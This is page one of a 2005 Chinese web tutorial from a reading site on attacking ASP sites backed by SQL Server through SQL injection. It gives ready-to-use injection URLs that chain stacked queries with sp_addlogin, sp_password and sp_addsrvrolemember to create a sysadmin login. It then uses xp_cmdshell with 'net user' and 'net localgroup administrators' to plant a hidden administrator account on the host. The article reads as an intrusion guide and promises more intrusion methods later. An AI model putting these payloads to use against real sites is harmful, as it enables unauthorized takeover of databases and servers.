频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

SQL Server数据库的一些攻击

来源: 作者: 出处:巧巧读书 2005-12-02 进入讨论组
下一页 1 2 3 4 
谢 谢 收 藏 http://www.qqread.com/sqlserver/f902120005.html  对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。
这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

  这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变 量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

  这种方法请求数据库,那么如果还用以上的例子就会

  news.asp?id=2;exec sp_addlogin hax

  变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...   

  整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法   

  news.asp?id=2;exec sp_addlogin hax;--

  后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!

  那么我们连一起来用吧

  news.asp?id=2;exec master.dbo.sp_addlogin hax;--

  news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

  news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

  news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

  news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--  这样,你在他的数据库和系统内都留下了hax管理员账号了

  当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。

  以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵

  当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了 更多文章 更多内容请看DoS 拒绝服务攻击专题脚本攻击和防范SQL Server 数据处理专题专题,或进入讨论组讨论。
下一页 1 2 3 4 
收藏此文】【 】【打印】【关闭
较早的文章:精妙SQL语句

较新的文章:简单SQL语句小结
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章